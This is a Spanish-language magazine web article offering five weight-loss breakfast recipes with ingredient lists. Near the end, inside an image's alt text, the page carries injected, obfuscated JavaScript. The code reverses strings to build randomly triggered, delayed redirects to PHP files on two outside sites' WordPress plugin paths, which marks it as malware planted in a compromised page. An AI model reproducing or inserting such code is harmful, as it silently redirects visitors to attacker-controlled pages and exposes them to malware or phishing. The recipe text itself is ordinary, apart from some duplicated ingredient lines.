5 desayunos para adelgazar
Te dejamos algunas recomendaciones para iniciar bien tu mañana.
Autor: Jaime O. Pérez 22 abril, 2020
Foto: Unsplash
Ya tienen más opciones
Para esta cuarentena es importante que mantengas tu peso ideal, por lo que te dejamos aquí algunas recetas para desayunar y puedas bajar de peso.
-TORTILLA DE ESPINACAS Y JUGO DE NARANJA
– 1 HUEVO + 1 CLARA
– 60G ESPINACAS
– 5 ML ACEITE.
– JUGO DE 1 NARANJA 250ML
– CAFÉ CON LECHE (100ML)
Foto: Unsplash
-TOSTADA DE PAN INTEGRAL CON HUEVO COCIDO Y CAFÉ NEGRO.
– 1 HUEVO
– 50G DE AGUACATE
– 1 REB DE PAN INTEGRAL (60G)
– TOMATE AL GUSTO
– 50G DE AGUACATE
– 1 REB DE PAN INTEGRAL (60G)
– TOMATE AL GUSTO
Foto: Unsplash
-TOSTADA DE PAN DE CENTENO CON TOMATE Y TOFU, 1 MANDARINA, CAFÉ NEGRO.
– 1 REB PAN DE CENTENO (60G)
– TOMATE AL GUSTO
– 50G DE TOFU
– 1 MANDARINA
Foto: Unsplash
– BATIDO CON AVENA, PLÁTANO Y FRESAS
– 1 BOL DE LECHE DE ALMENDRAS, COCO O AVENA.(300ML)
– 50G DE PLÁTANO MADURO
– 140G DE FRESAS
– 40G AVENA EN COPOS
– EXTRACTO DE VAINILLA AL GUSTO
Foto: Unsplash
-PAN DE INTEGRAL CON CREMA DE CACAHUETE Y PLÁTANO + SEMILLAS DE CHIA Y DE CAFÉ NEGRO.
– 1 REB PAN DE INTEGRAL (60G)
– 10G DE CREMA DE CACHUETE
– PLÁTANO PEQUEÑO (60G)
– 15G SEMILLAS CHIA
Y si quieres aquí te dejamos Bebidas ricas en Vitamina C.
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![Desayuna con un <script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>toque de pas<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>tor](https://www.maximmexico.com/wp-content/uploads/2018/11/desayunos-casa-pastor-enchiladas-150x150.png)
Te dejamos algunas recomendaciones para iniciar bien tu mañana.